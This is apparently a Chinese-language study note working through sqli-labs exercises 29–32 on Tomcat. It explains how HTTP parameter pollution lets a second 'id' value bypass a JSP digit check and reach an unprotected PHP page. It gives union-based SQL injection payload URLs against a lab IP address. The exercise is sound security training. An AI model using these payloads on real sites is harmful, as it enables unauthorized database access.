sqli-labs带了几个Java版本的web注入,在tomcat-files.zip里
以Less29为例,查看源码,可以看出请求最后还是提交给了php应用,难怪less29文件夹下有一个没有任何防护的index.php(没有WAF)
玩之前记得修改jsp的源码,将URL指向正确
解释一下这些源码,
获取id的值,利用正则匹配是否为数字
若为数字,带上原参数转到index.php
其他情况转向hacked.jsp
现在使用tomcat+java+mysql来测试
打开会直接报错,带上参数就好了
http://192.168.136.128:8080/sqli-labs-master/sqli-labs/Less-29/index.jsp
http://192.168.136.128:8080/sqli-labs-master/sqli-labs/Less-29/index.jsp?id=1
还是http参数污染的问题,jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值注入就可以了
http://192.168.136.128:8080/sqli-labs-master/sqli-labs/Less-29/index.jsp?id=1&id=0' union select 1,2,3%23
Less30 双引号闭合
http://192.168.136.128:8080/sqli-labs-master/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,2,3%23
Less31
http://192.168.136.128:8080/sqli-labs-master/sqli-labs/Less-31/index.jsp?id=1&id=0") union select 1,2,3%23
Less32
首先在当且目录建立一个error.html文件,不然会报错
看源码发现使用了jdbc,还得把包导入tomcat
结果还是有问题,先放着